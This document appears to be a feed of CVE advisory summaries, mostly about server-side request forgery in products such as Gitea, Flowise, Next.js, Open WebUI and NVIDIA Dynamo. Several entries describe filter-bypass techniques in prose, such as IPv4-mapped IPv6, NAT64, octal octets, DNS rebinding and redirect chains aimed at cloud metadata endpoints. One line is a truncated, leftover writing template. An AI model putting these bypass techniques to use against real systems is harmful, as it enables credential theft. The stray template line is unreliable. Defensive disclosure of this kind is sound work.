Server-Side Request Forgery (SSRF) and open-proxy behavior in Apache Kyuubi's Engine UI proxy exposes the Kyuubi server as a request forwarder to arbitrary internal or external hosts. Versions 1.8.0 through 1.11.x accept an attacker-controlled host and port from the HTTP request path and blindly proxy the request to that destination, enabling network pivoting into otherwise unreachable services behind the Kyuubi server. No active exploitation has been confirmed in CISA KEV, and no public exploit code has been identified at time of analysis; however, the unauthenticated network vector and trivial exploitation conditions make this a credible internal reconnaissance risk in exposed deployments.
Arbitrary file disclosure and SSRF in the WP Media Folder Addon WordPress plugin (all versions through 4.1.6) let unauthenticated remote attackers read local files and coerce server-side requests via two AJAX handlers that fail to validate a user-supplied path parameter, but only on sites where a cloud-storage connection is configured. This is an incomplete-fix regression of CVE-2026-9690, which hardened only one cloud-storage handler and left the others exploitable. Publicly available exploit code exists (reported by WPScan); there is no public exploit identified as being used in active attacks and it is not listed in CISA KEV.
Server-side request forgery in datamodel-code-generator 0.9.1 through 0.60.x lets a malicious JSON Schema, OpenAPI, or GraphQL document cause the code generator to silently fetch attacker-chosen HTTP/HTTPS $ref URLs - including internal, loopback, and link-local addresses - and reflect the fetched content into the generated Python source. Exploitation requires the optional HTTP extra (pip install 'datamodel-code-generator[http]') and a developer or automated codegen/CI job to run datamodel-codegen against the tainted document; the default configuration (--allow-remote-refs unset) only emits a deprecation warning before fetching, and only an explicit --allow-remote-refs=false blocks the request. Publicly available exploit code exists (a Gist proof-of-concept), and EPSS is low at 0.21% (11th percentile), with no confirmed active exploitation (not in CISA KEV); fixed in 0.61.0.
Server-side request forgery in the `datamodel-code-generator` Python package (versions >= 0.9.1 and <= 0.60.2) allows an attacker who controls or influences a `--url` schema source to make the codegen host fetch arbitrary internal addresses - loopback, RFC1918, link-local `169.254.169.254` cloud metadata, and unique-local IPv6 - and have the response body reflected into the generated `.py` file as schema titles, property names, and `Field(description=...)` strings. The issue only affects installations that include the optional `[http]` extra; the fetcher applies no allow-list or IP/host validation and follows redirects unconditionally, with `text/html` rejection as its only filter, so non-HTML JSON/YAML endpoints (IAM credential metadata, internal admin APIs) pass through and leak into artifacts commonly committed to repositories or surfaced in CI output. Publicly available exploit code exists (a self-contained one-file PoC), but the flaw is not confirmed actively exploited (not in CISA KEV); EPSS is low at 0.21% (11th percentile), and the assessed vector (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N, 8.2) reflects high confidentiality impact tempered by required victim interaction and AC:H.
Server-side request forgery in HashiCorp terraform-mcp-server before 1.1.0 allows unauthenticated remote attackers to redirect Terraform API requests and steal server-side authorization tokens via the streamable-HTTP transport. The vulnerability, tracked as CVE-2026-14869, permits an attacker to control the destination of outbound requests, leading to token exposure. No public exploit or active exploitation has been reported at this time.
2-3 sentence plain-language summary ... Start with specific impact verb and product. e.g., 'Cross-origin sig
Server-side request forgery in the FormCraft WordPress plugin (versions <= 3.9.15) allows unauthenticated remote attackers to coerce the web server into making arbitrary requests to internal or external systems. This could enable scanning of internal networks, access to cloud metadata services, or interaction with backend applications, potentially leading to data exposure or further compromise. No public proof-of-concept or active exploitation has been reported at the time of analysis.
Server-side request forgery in Simple Link Directory Pro plugin versions up to 15.0.6 allows unauthenticated remote attackers to force the WordPress server to make arbitrary HTTP requests to internal or external systems, potentially exposing internal infrastructure and sensitive data. The vulnerability has a CVSS score of 7.2 with no user interaction required, but exploitation impact is limited to low confidentiality and integrity effects. No active exploitation or public exploit code is currently reported.
Server-side request forgery in Plack::App::Prerender before 0.3.0 allows unauthenticated remote attackers to proxy requests to arbitrary internal hosts by crafting a request URI starting with '@'. The application appends the raw REQUEST_URI to a plain string rewrite base without validating the path, enabling an attacker to change the destination authority and access restricted resources. No public exploit is known, and active exploitation has not been observed.
Unauthenticated server-side request forgery in the WordPress plugin '3D Flipbook PDF Viewer & Embedder' affects all versions up to and including 1.4.2, allowing any remote attacker to make the victim site's web server issue outbound HTTP requests to destinations of the attacker's choosing. Exploitation requires only that the plugin be installed and active and that its PDF-fetch/embed endpoint be reachable over the network; the CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N vector (7.2) confirms no credentials and no user interaction are needed, and the changed scope (S:C) reflects that the impact can extend to systems beyond the vulnerable plugin. No public exploit code has been identified at time of analysis, CISA KEV does not list this CVE, SSVC reports Exploitation: none, and EPSS is low at 0.19% (9th percentile), so the practical risk is moderate and driven mainly by the value of internal services or cloud metadata endpoints reachable from the WordPress host.
Server-side request forgery in Microsoft Purview Data Governance allows an unauthenticated remote attacker to elevate privileges across the network, with potential for full compromise. The vulnerability is rated CVSS 10.0 critical, but EPSS (0.92%) and SSVC indicate no known exploitation, suggesting low immediate risk despite high severity. A vendor patch is available.
Privilege elevation via server-side request forgery affects Microsoft Azure AI Search, allowing an already-authorized, low-privileged attacker to coerce the service into making crafted network requests to internal or restricted endpoints. By abusing this SSRF, an attacker can reach backend resources and metadata services normally unreachable from their privilege tier, resulting in high confidentiality, integrity, and availability impact (CVSS 8.8). No public exploit identified at time of analysis, and the EPSS score of 0.38% (31st percentile) alongside a CISA SSVC 'Exploitation: none' rating indicates no observed exploitation yet.
Server-side request forgery in 9Router before 0.4.72 lets an authenticated (PR:L) or locally-connected user abuse the /v1/web/fetch endpoint to make the server retrieve arbitrary internal URLs and return their content. Because the user-supplied url is only checked for syntactic validity via new URL() before being handed to an external scraping provider, an attacker can reach cloud metadata endpoints (169.254.169.254), link-local/private addresses, and localhost-only services, harvesting credentials and bypassing host-based auth. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the CVSS 4.0 base score of 8.3 reflects high confidentiality impact with a scope/subsequent-system change.
Server-Side Request Forgery in Johnson Controls CCure 9000 and the victor application server (versions 2.9 through 3.0) allows a high-privileged authenticated attacker to coerce the server into issuing crafted requests to internal or external systems. Exploitation can expose internal network resources and pivot into otherwise unreachable back-end services, with high confidentiality impact and a scope change that affects downstream systems. This is a vendor-reported (jci) issue with no public exploit identified at time of analysis and no CISA KEV listing.
Server-side request forgery in PHPOffice PhpSpreadsheet (>= 4.0.0 through 5.8.0, plus older branches back to 2.0.0) lets an attacker bypass the WEBSERVICE() domain whitelist introduced in 5.4.0 by chaining through an HTTP 302/301 redirect. Because the whitelist only validates the initial URL host while file_get_contents() silently follows redirects without re-validation, an attacker who can upload a crafted XLSX to an app that calls setDomainWhiteList() and getCalculatedValue() can pivot to internal-only targets and read the full HTTP response (up to 32,767 bytes) as a cell value. Publicly available exploit code exists (a full PoC and lab reproduction are in the GitHub advisory); no public exploit identified as actively used in the wild and it is not in CISA KEV.
Server-Side Request Forgery in the PeproDev Ultimate Invoice WordPress plugin (versions 2.2.6 and earlier) lets unauthenticated remote attackers coerce the WordPress server into issuing HTTP requests to attacker-chosen destinations. Because the CVSS vector marks a scope change (S:C), the forged requests can reach systems beyond the vulnerable plugin - notably internal network hosts and cloud metadata endpoints - with only low confidentiality and integrity impact. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the unauthenticated network-facing nature keeps it a meaningful patch priority for exposed WordPress sites.
Server-Side Request Forgery (SSRF) in Cache Cleaner Pro extension for Joomla 1.0.0-9.7.6 allows unauthenticated remote attackers to access internal or reserved network services via crafted custom query URLs. With a CVSS score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) the vulnerability is automatable and has total technical impact, though no public exploit or active exploitation has been detected. EPSS predicts a 0.18% likelihood of exploitation in the next 30 days.
Server-side request forgery in Regular Labs' Articles Anywhere Pro and Users Anywhere Pro extensions for Joomla allows unauthenticated attackers to access internal network services and write arbitrary files to web-accessible directories. The vulnerability stems from improper validation of content-controlled image URLs, which fetch and save remote responses without checking that they are images. No active exploitation or public exploit code has been reported, and EPSS indicates low exploitation probability.
Server-Side Request Forgery in the Vercel Next.js framework (versions 14.1.1 through 15.5.20 and 16.0.0 through 16.2.10) lets a remote attacker who controls Host-associated headers coerce a Server Action's forwarded or redirected request to an attacker-chosen host, and in some setups leak internal values that weaken middleware/proxy authorization. Exploitation is limited to deployments where the incoming Host header is not pinned to a trusted value - typically custom servers or setups not fronted by a host-pinning proxy. There is no public exploit identified at time of analysis, EPSS is low (0.62%, 46th percentile), and CISA SSVC rates exploitation as 'none' with partial technical impact.
Server-Side Request Forgery (SSRF) and open redirect in Next.js rewrite/redirect rules when the destination hostname is dynamically constructed from user-controlled input. Versions 12.0.0 to 15.5.20 and 16.0.0 to 16.2.10 are affected, allowing a remote attacker to proxy requests to arbitrary hosts or redirect users. Patched versions 15.5.21 and 16.2.11 are available; no active exploitation has been reported.
Server-side request forgery in Verba (Weaviate's open-source RAG application) version 2.1.3 lets unauthenticated attackers coerce the backend into issuing arbitrary HTTP GET requests to attacker-chosen URLs. By connecting to the unauthenticated /ws/import_files WebSocket endpoint and supplying a malicious URL in the HTMLReader configuration, an attacker can reach internal-only services such as co-located databases or cloud instance metadata endpoints to harvest credentials. No public exploit code has been identified at time of analysis, though a detailed technical disclosure exists; the CVSS 4.0 base score is 9.2 (Critical).
Server-side request forgery in Gitea ≤1.26.4 allows privileged users to bypass the platform's own hostmatcher SSRF defenses via three unprotected raw http.Get() code paths in the migration and OAuth avatar subsystems, enabling retrieval of cloud instance metadata (AWS IMDSv1, GCP tokens), local file read (e.g., app.ini with database credentials and JWT secrets), and internal network scanning. A detailed proof-of-concept exploit is publicly available in the GitHub Security Advisory GHSA-2wm4-vwp6-v7xc. EPSS is low at 0.16% (6th percentile), consistent with the privilege requirements limiting opportunistic exploitation, but the disclosed PoC and the sensitivity of reachable data elevate real-world risk for cloud-hosted deployments. No active exploitation is confirmed in CISA KEV at time of analysis.
Server-side request forgery in Weaviate's Verba (GoldenVerba) RAG application version 2.1.3 lets unauthenticated remote attackers coerce the server into issuing arbitrary outbound HTTP GET requests. The flaw stems from a same-origin middleware bypass: any Origin header prefixed with a single quote defeats the localhost origin check, after which attacker-supplied host and port values passed to the /api/connect endpoint are fetched by the server. No public exploit code exists, but a detailed VulnCheck advisory and a third-party technical write-up document the exact bypass; there is no CISA KEV listing and EPSS was not provided.
Server-side request forgery in Gitea before 1.27.0 lets attackers coerce the server into HTTP requests against internal hosts because its outbound IP allow-list classifier (IsGlobalUnicast && !IsPrivate) fails to block CGNAT (100.64.0.0/10) and nine IPv6 transition prefixes. An authenticated user can point a webhook or repo migration at an internal CGNAT service and read the full response (status, headers, and up to 1 MB body) rendered back on the hook detail page; separately, when OpenID sign-in is enabled the unauthenticated /user/login/openid discovery fetch uses http.DefaultClient with no IP filtering, giving anonymous internet callers a blind SSRF primitive. Publicly available exploit code exists (bundled run_poc.sh reproduces all three primitives), but no active exploitation is confirmed.
Server-side request forgery in Keep (keephq/keep) as of commit 91c75e0 lets unauthenticated attackers coerce the backend into issuing arbitrary outbound HTTP requests by POSTing a crafted host value to an unprotected providers healthcheck endpoint. Because the endpoint requires no authentication, a remote attacker can pivot into internal services and cloud metadata endpoints (e.g. 169.254.169.254) to steal cloud credentials and map internal networks. No public exploit identified at time of analysis, though the flaw was reported by VulnCheck and a corresponding GitHub issue is public; the CVSS 4.0 base score is 9.2 (Critical).
Server-side request forgery in the mcp-webresearch MCP server (version 0.1.7, package @mzxrai/mcp-webresearch) lets remote attackers reach internal-only network services by feeding loopback, link-local, or cloud metadata addresses to the visit_page tool. Because the tool validates only the URL scheme and never filters private or reserved IP ranges, an attacker who influences the LLM-controlled URL - typically via prompt injection - can drive the server's Playwright browser to endpoints like 169.254.169.254 and exfiltrate credentials and other sensitive internal content back into the model context. No public exploit identified at time of analysis, though a detailed technical write-up exists and the issue is disclosed by VulnCheck; there is no CISA KEV listing.
Server-side request forgery in InternLM lmdeploy's OpenAI-compatible vision API server lets unauthenticated remote attackers coerce the server into fetching internal-only resources by abusing the image_url media-fetch path. Because the URL safety check validates only the initial URL and does not re-validate targets after an HTTP 302 redirect, an attacker-hosted endpoint can redirect the fetch to loopback services or cloud instance-metadata endpoints, exposing internal services and potentially cloud credentials. No public exploit is identified at time of analysis, EPSS is low (0.28%), and a vendor fix adding a media-domain allowlist is available.
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authenticated user bypass the migration URL allow/block list by supplying a permitted public Git URL that HTTP-redirects the server's git subprocess to an otherwise-blocked internal endpoint. Because Gitea validates only the originally submitted URL while git runs with its default http.followRedirects=initial, the redirected internal Git repository is cloned into an attacker-controlled repository, and pull mirrors keep re-fetching it on schedule. No public exploit identified at time of analysis; a vendor-authored local proof-of-concept confirmed the redirect is followed to 127.0.0.1, and EPSS/KEV data were not supplied.
Server-Side Request Forgery in Apache Syncope lets a low-privileged authenticated user abuse the Connectors and Resources connectivity check to coerce the server into issuing arbitrary outbound requests. Affected builds span the 3.0.x, 4.0.x, and 4.1.x lines up to 3.0.16, 4.0.6, and 4.1.1 respectively, with high confidentiality and integrity impact per the CVSS 8.1 rating. There is no public exploit identified at time of analysis, and CISA SSVC scores exploitation as 'none,' but the total technical impact and low privilege bar make this a meaningful internal-network exposure.
Server-Side Request Forgery in the Kirki WordPress plugin before 6.0.12 allows unauthenticated attackers to coerce the server into issuing HTTP requests to arbitrary attacker-chosen hosts because a user-supplied URL is fetched server-side without validation. This is reachable remotely with no authentication or user interaction (CVSS 9.1), publicly available exploit code exists, and a vendor patch has shipped, but there is no public exploit identified as being used in active attacks (not in CISA KEV). Reported by WPScan (EUVD-2026-45889), the flaw is dangerous on WordPress sites hosted in cloud or internal-network environments where the request can pivot to metadata or intranet services.
Unauthenticated blind server-side request forgery in sgoudelis Ground Station before 0.6.0 lets any network attacker coerce the ground-station process into issuing outbound HTTP requests to arbitrary destinations, including cloud instance metadata at 169.254.169.254 and internal RFC1918/loopback services. Because the Socket.IO server on port 7000 enforces no authentication and uses a wildcard CORS policy, an attacker persists a malicious orbital-source URL and triggers a sync, then reads returned HTTP status codes and error strings as an oracle for probing the internal network. There is no public exploit identified at time of analysis, but the flaw is durable: the malicious source survives restarts and re-fires automatically every 24 hours.
Credential exfiltration via the tenant API in OpenReception appointment-booking-software prior to v1.0.2 allows any authenticated TENANT_ADMIN to retrieve the full PostgreSQL connection string - including plaintext password - for the shared database instance. In default docker-compose.prod.yml deployments, those credentials belong to the postgres superuser (rolsuper=true), granting the attacker read-write access to every tenant's database, all GLOBAL_ADMIN password hashes and session records, and superuser-level PostgreSQL functions (pg_read_server_files, COPY FROM PROGRAM) usable for container-level escalation. No public exploit code or CISA KEV entry exists at time of analysis; EPSS data was not provided, but the CVSS S:C scope change and the cross-tenant blast radius make this a high-priority patch target for any operator running the affected version.
Server-Side Request Forgery in WGDashboard (WireGuard management dashboard) version 4.2.3 and earlier (EUVD extends the range through 4.3.2) lets attackers abuse the webhook functionality to make arbitrary HTTP requests from the server and read back full responses. The description scopes this to authenticated attackers, though the supplied CVSS vector marks it PR:N (unauthenticated) - a discrepancy defenders should resolve with the vendor. Publicly available exploit code exists (Stuub PoC), but EPSS is only 0.16% (6th percentile) and there is no public exploit identified as actively exploited.
Full unauthenticated site takeover in the Premium SEO WordPress plugin stems from an intentional backdoor shipped in the plugin code itself, which silently provisions a hidden administrator account and, in certain builds, exposes remote code execution, server-side request forgery, and arbitrary front-end content injection. Any WordPress site running this plugin is affected, and because the backdoor is reachable without authentication, an attacker who knows the endpoint gains complete control of the site. WPScan attributes the finding; no public exploit is identified at time of analysis and the CVE carries the maximum CVSS 10.0 score.
Server-side request forgery in eScriptorium through 26.04.1 allows remote authenticated users to pivot from the application server into internal networks, including cloud instance metadata services (IMDS), by supplying attacker-controlled URIs to the METS or IIIF import API endpoint. The vulnerability is rooted in the default wildcard value of the IMPORT_ALLOWED_DOMAINS setting combined with a total absence of address filtering, redirect-following caps, or request timeouts - meaning any authenticated user can coerce the server into issuing arbitrary HTTP requests. With CVSS S:C (scope changed) and C:H, the primary risk is exfiltration of cloud credentials via IMDS (e.g., AWS 169.254.169.254), which can escalate a low-privilege application account into full cloud environment compromise. No public exploit or KEV listing identified at time of analysis.
Server-Side Request Forgery combined with CSRF in Eclipse GlassFish's DownloadServlet ContentSources handler allows a remote attacker to exfiltrate the administrative `gfresttoken` to an attacker-controlled host when an authenticated administrator visits a malicious page. Affecting Eclipse GlassFish 8.0.x prior to 8.0.4, successful token theft yields full control of the GlassFish administrative domain until the token expires, effectively an unauthenticated takeover of the management plane. No public exploit identified at time of analysis, and the issue is not in CISA KEV, but the CVSS 9.6 rating and low attack complexity make it high priority.
Server-Side Request Forgery in Foxit PDF Services API allows low-privileged remote attackers to bypass local file access restrictions by embedding redirect-chain URLs in PDF creation requests, causing the server to fetch arbitrary internal resources and disclose sensitive information. The CVSS vector (S:C/C:H) confirms the scope change extends to internal backend systems inaccessible to the attacker directly, making this a meaningful lateral-visibility primitive in environments where the API reaches internal network segments. No public exploit identified at time of analysis, and no KEV listing, though the low attack complexity elevates urgency for internet-exposed deployments.
Server-Side Request Forgery (SSRF) in the Newsletters WordPress plugin before 4.16 allows unauthenticated remote attackers to force the hosting server to issue HTTP requests to arbitrary internal or external URLs via the unauthenticated bounce-processing endpoint. A publicly available proof-of-concept exists per WPScan reporting. Despite the high CVSS score of 8.2, EPSS is very low at 0.14% (3rd percentile), and SSVC rates it non-automatable with only partial technical impact, suggesting opportunistic rather than mass exploitation at this time.
SSRF protection bypass in Gitea prior to 1.27.0 exposes internal services, cloud instance-metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254), and local files - including the application configuration containing database credentials and signing secrets - to authenticated attackers. Three HTTP fetch code paths in the migration and OAuth avatar subsystems use Go's raw http.Get() rather than the hardened hostmatcher.NewDialContext() transport used elsewhere, completely circumventing Gitea's built-in SSRF defenses. A publicly available proof-of-concept is included in the GHSA advisory; no confirmed active exploitation (CISA KEV) has been identified at time of analysis.
Server-Side Request Forgery (SSRF) bypass in PraisonAI's web_crawl tool prior to version 1.6.58 enables unauthenticated network attackers to reach internal network resources, loopback interfaces, and cloud metadata endpoints (such as AWS IMDS) from the PraisonAI host. The protection bypass exploits a validate-here/fetch-there gap (CWE-367 TOCTOU): the hostname is validated once with socket.gethostbyname but then re-resolved at connect time by httpx or urllib with redirect-following enabled, allowing HTTP redirect chains or DNS rebinding to steer the final connection to attacker-chosen internal destinations. No public exploit code or active exploitation has been identified at time of analysis; a fix is available in version 1.6.58.
Server-side request forgery in PraisonAI's web_crawl() function (versions 1.5.128-1.6.57) allows an attacker who can influence URLs processed by agent or tool workflows to exfiltrate responses from internal services, private network hosts, and cloud metadata endpoints such as AWS IAM credential URLs. This is a confirmed patch bypass of the previously disclosed SSRF class in CVE-2026-40160 and GHSA-8f4v-xfm9-3244, exploiting the fact that the httpx fallback client uses follow_redirects=True without revalidating redirect destinations against the original host blocklist. No public exploit code and no CISA KEV active exploitation designation have been identified at time of analysis.
Server-Side Request Forgery in IBM Langflow OSS 1.0.0 through 1.10.3 enables authenticated low-privilege users to coerce the application server into issuing arbitrary outbound HTTP requests against internal infrastructure. The root cause is unsanitized pass-through of the OLLAMA_BASE_URL parameter directly into requests.get() inside validate_model_provider_key(), with no scheme enforcement, host allowlisting, or private-range (loopback, RFC1918, link-local) filtering. No active exploitation confirmed (not in CISA KEV), but the network-accessible, low-complexity attack path and high confidentiality impact (C:H) make this a meaningful internal-network pivot risk for organizations running Langflow with AI provider integration enabled.
Server-Side Request Forgery in IBM Application Gateway Operator versions 22.2 through 26.06 lets remote unauthenticated attackers coerce the operator into issuing arbitrary HTTP requests by supplying attacker-controlled URLs in custom resources that the operator fails to validate. Because the operator typically runs inside a Kubernetes/OpenShift cluster, this SSRF can reach internal-only services and cloud metadata endpoints. There is no public exploit identified at time of analysis, EPSS risk is low (0.29%, 21st percentile), and CISA SSVC rates exploitation as none.
Server-side request forgery in Progress MarkLogic Server before 11.3.6 and 12.0.3 enables authenticated low-privileged users to bypass existing IMDS protection filters, causing the server to fetch cloud instance metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Successful exploitation yields temporary cloud IAM credentials, extending attacker reach to all cloud resources accessible by the host instance's IAM role. No public exploit code or CISA KEV listing has been identified at time of analysis; however, the Scope:Changed CVSS metric and credential-theft impact elevate operational priority significantly for cloud-hosted deployments.
Server-Side Request Forgery in Shiori's bookmark download function allows any authenticated user to force the server to issue HTTP requests to loopback addresses (127.0.0.1) and 0.0.0.0 - which Linux routes to the loopback interface - reaching cloud metadata endpoints, co-located databases, and internal-only APIs. The root cause is `DownloadBookmark()` in `internal/core/download.go` using a plain `http.Client` with no custom `DialContext` and no post-resolution IP validation (no `IsLoopback()`, `IsPrivate()`, `IsUnspecified()`, or `IsLinkLocalUnicast()` checks). No public exploit has been identified at time of analysis, but the attack path is trivially constructable given the well-documented SSRF pattern against Go's standard HTTP client.
DNS rebinding bypass of SSRF protection in Memos' webhook dispatcher allows a low-privileged authenticated attacker to reach internal network resources by exploiting a time-of-check/time-of-use race in hostname resolution. The `safeDialContext()` function in `internal/webhook/webhook.go` validates the resolved IP against reserved ranges but then re-dials using the original hostname, allowing the underlying `net.Dialer.DialContext()` to perform a second, independent DNS lookup that the attacker controls. By setting a short TTL on an attacker-controlled domain and swapping the DNS response between validation and dial, an attacker can cause Memos to connect to arbitrary internal addresses. No public exploit or CISA KEV listing has been identified at time of analysis, but the scope change (S:C) and high confidentiality impact reflect the risk of internal service enumeration and data exfiltration.
Webhook URL validation bypass in Memos allows authenticated users to trigger Server-Side Request Forgery via the 0.0.0.0 address notation, causing the server to make outbound HTTP requests to its own loopback interface and exposing internal-only services, with a CVSS 8.5 score reflecting Changed Scope and High Confidentiality impact. The root cause is a code-divergence defect: isReservedIP() in internal/webhook/validate.go omits the 0.0.0.0/8 CIDR block and never calls ip.IsUnspecified(), while the correctly implemented sibling function isInternalIP() in internal/httpgetter/html_meta.go does both. No public exploit code or CISA KEV listing has been identified at time of analysis, but the low attack complexity and standard SSRF-to-loopback technique make this a realistic risk on any Linux-hosted Memos instance with multi-user access.
Server-side request forgery in Stirling-PDF's POST /api/v1/convert/url/pdf endpoint allows unauthenticated remote attackers to exfiltrate cloud metadata and internal network resources by supplying a URL to an attacker-controlled page containing embedded resource references (e.g., img tags targeting 169.254.169.254). The endpoint was deliberately excluded from the SSRF protections applied to three sibling conversion endpoints, creating an uneven security boundary; WeasyPrint, the underlying rendering subprocess, fetches all embedded resources with no per-resource SSRF filtering, causing internal HTTP responses to be embedded verbatim into the returned PDF. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack requires no authentication and no special configuration, making any network-exposed Stirling-PDF instance a viable target.
Arbitrary server-side code execution in Magistrala's Rules Engine exposes any authenticated low-privileged user to full file system access, environment variable exfiltration, database manipulation, and SSRF against internal microservices. The platform's two script runtimes - Go via Yaegi and Lua - both fail to sandbox dangerous capabilities: the Go engine exposes the complete standard library behind a trivially insufficient regex filter, while the Lua engine performs no validation whatsoever and explicitly preloads file I/O, HTTP client, and database libraries. No public exploit code has been identified at time of analysis, but the attack requires only a valid account and the ability to create rules, making exploitation straightforward for any tenant or internal user.
MLflow's AI Gateway proxy exposes internal network services - including cloud-instance metadata endpoints - to any authenticated user, including read-only accounts, via an unvalidated api_base field in the CreateGatewaySecret endpoint. All MLflow releases through 3.14.0 are affected; the attack requires only basic credentials and no special configuration, making IAM credential theft a realistic outcome for cloud-hosted deployments. No public exploit has been identified at time of analysis, but the two-step attack (create secret, invoke proxy) involves only standard HTTP requests and no technical barrier beyond holding a valid account.
Server-side request forgery in Google::Auth for Perl (versions before 0.09) allows credential exfiltration to attacker-controlled hosts when applications process credentials JSON they do not fully control. The library makes outbound HTTP requests to URLs read directly from the credentials JSON - including token endpoints, impersonation URLs, and credential source URLs - without validating that those hosts belong to googleapis.com or a pinned universe domain. All four credential types (external_account, authorized_user, impersonated_service_account, service_account) are affected, and each carries live credentials (subject tokens, refresh tokens, client secrets, or signed JWT assertions) in those requests. No public exploit has been identified at time of analysis, and EPSS is 0.18% (8th percentile), indicating low observed exploitation pressure despite the CVSS 7.5 score.
Server-side request forgery in Open WebUI (pip/open-webui versions 0.9.0 through 0.10.x) allows any authenticated low-privilege user to reach internal cloud metadata endpoints, loopback-bound admin surfaces, and VPC-internal APIs by encoding IPv4 addresses inside the NAT64 well-known prefix `64:ff9b::/96`. The SSRF filter evaluates only whether the literal IPv6 address is globally routable - which NAT64 addresses are, by design - without unwrapping the embedded IPv4 destination before deciding to allow or block the request. Full response bodies, including AWS IAM role credentials from the instance metadata service, are returned directly to the caller. A proof-of-concept exists confirming exploitation against the unmodified v0.10.2 code path; no active exploitation in the wild has been confirmed by CISA KEV at time of analysis.
Server-Side Request Forgery in Open WebUI versions 0.9.6 through 0.10.x allows any authenticated user to exfiltrate HTTP responses from internal network services - including cloud instance metadata endpoints and container-local APIs - by submitting a crafted URL that triggers unvalidated sub-resource requests through the Playwright browser loader. The `SafePlaywrightURLLoader` component validated only the top-level navigation request; all subsequent requests issued by page JavaScript bypassed the address check entirely, and the resulting DOM content was returned directly to the requester via the normal web-search or RAG ingestion pipeline. No public exploit or CISA KEV listing is confirmed at time of analysis, though a proof-of-concept was reported against version 0.10.2; the vulnerability is limited to the non-default Playwright loader configuration.
Server-side request forgery in NVIDIA Dynamo's Rust multimodal media fetcher (Linux, versions through v1.1.0) allows unauthenticated remote attackers to coerce the server into issuing arbitrary HTTP requests to attacker-controlled destinations. A successful exploit can expose sensitive internal network resources, cloud metadata endpoints (e.g., IMDS at 169.254.169.254), or internal API responses, resulting in high-confidence information disclosure. No public exploit code or CISA KEV listing exists at time of analysis.
Server-side request forgery via DNS rebinding in NVIDIA Dynamo's multimodal media fetcher exposes internal network resources to remote unauthenticated attackers. All Dynamo releases from version 0 through v1.1.0 on Linux are affected. A successful exploit allows an attacker to manipulate the media fetcher into issuing HTTP requests to internal services, leading to high-confidence information disclosure - including potentially cloud metadata endpoints, internal APIs, or adjacent microservices. No public exploit code and no CISA KEV listing have been identified at time of analysis, though the CVSS 7.5 rating and unauthenticated network vector make this a meaningful risk in exposed deployments.
Server-side request forgery in NVIDIA Dynamo's multimodal media fetcher (Linux, versions through v1.1.0) allows unauthenticated remote attackers to issue arbitrary server-side HTTP requests by supplying malicious URLs as media inputs during inference. The CVSS 3.1 vector confirms network-accessible, zero-authentication exploitation with high confidentiality impact, scoring 7.5. No active exploitation or public exploit code has been identified at time of analysis, but SSRF in cloud-hosted AI inference infrastructure carries meaningful risk due to cloud metadata service exposure.
Server-side request forgery in NVIDIA Dynamo for Linux (all versions through v1.1.0) allows unauthenticated remote attackers to force the inference server to issue arbitrary HTTP requests by embedding a crafted URL inside a multimodal inference request payload. Successful exploitation exposes internal network resources reachable from the Dynamo host, producing high-severity information disclosure without requiring any credentials or user interaction. No public exploit code or CISA KEV listing has been identified at time of analysis, though the PR:N/AC:L attack surface on AI serving endpoints that may be network-exposed warrants prompt remediation.
Server-side request forgery in NVIDIA Dynamo for Linux (versions 0 through v1.1.0) enables unauthenticated remote attackers to cause the server to issue arbitrary backend HTTP requests. The CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:N) confirms network-exploitable with no authentication or user interaction required, making this accessible to any attacker who can reach the Dynamo service. Successful exploitation leads to confidentiality impact - likely exposure of internal services, cloud instance metadata endpoints, or internal API responses - with no public exploit or CISA KEV listing identified at time of analysis.
Server-side request forgery in NVIDIA Dynamo for Linux (versions through v1.1.0) allows unauthenticated remote attackers to read arbitrary local files by embedding a crafted local path inside a multimodal inference request. The Dynamo serving layer fails to restrict the path to an allowed directory, causing the server to resolve and return content from restricted filesystem locations, leading to high-confidentiality information disclosure. No public exploit code or CISA KEV listing has been identified at time of analysis; however, the low attack complexity and lack of authentication requirements make this straightforward to exploit against any exposed Dynamo endpoint.
SSRF protection bypass in Flowise (npm/flowise ≤ v3.1.2) allows complete circumvention of all IPv4 CIDR deny rules via IPv4-mapped IPv6 addresses, rendering the SSRF fix introduced in v3.0.13 for CVE-2026-31829 entirely ineffective. An attacker who controls DNS for a hostname referenced in a Flowise chatflow HTTP component can set a AAAA record to `::ffff:169.254.169.254` or any RFC1918 target; Flowise resolves the address, the `isDeniedIP()` kind mismatch silently skips all IPv4 CIDR checks, and the request reaches cloud IMDS endpoints or internal services. A publicly available proof-of-concept script (poc_ssrf_bypass.js) confirms the bypass against ipaddr.js@2.2.0; no CISA KEV listing has been identified at time of analysis.
Unauthenticated SSRF with non-blind response reflection and OAuth2 secret exfiltration in Flowise affects all versions through 3.1.2. The OAuth2 token refresh endpoint is intentionally whitelisted from authentication but issues server-side HTTP POST requests to a credential-stored URL without SSRF controls, allowing any caller who knows a credential UUID to redirect the server to an attacker-controlled host and receive the full response body. A working proof-of-concept was confirmed against the flowiseai/flowise:latest container, with the exploit also exfiltrating client_secret and refresh_token values in the outbound POST body to the attacker server. No public exploit is independently confirmed as widespread, but the PoC is detailed and functional.
Server-Side Request Forgery in Adobe Campaign Classic (ACC) enables remote attackers to coerce the server into issuing crafted internal requests, resulting in privilege escalation without any user interaction. Adobe rates the flaw at the maximum CVSS 10.0 with a changed scope, indicating the SSRF pivots beyond the vulnerable component to compromise other systems or trust boundaries. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the unauthenticated, network-reachable nature makes it a top-priority patch.
Trust-boundary bypass in the ip-address npm library (all versions through 10.3.0) enables SSRF filter evasion in Node.js applications that use Address4 classification methods to block internal destinations. The library decodes leading-zero octets as decimal (e.g., '012' → 12) while system resolvers interpret the same notation as octal (e.g., '012' → 10), causing Address4.isPrivate() and related methods to return false for RFC 1918 addresses expressed in octal shorthand, while the underlying fetch connects to the private host. A functional proof-of-concept is included in the vendor advisory; no CISA KEV listing is present at time of analysis, but exploitation requires no special configuration and rides the ordinary URL-parsing code path.
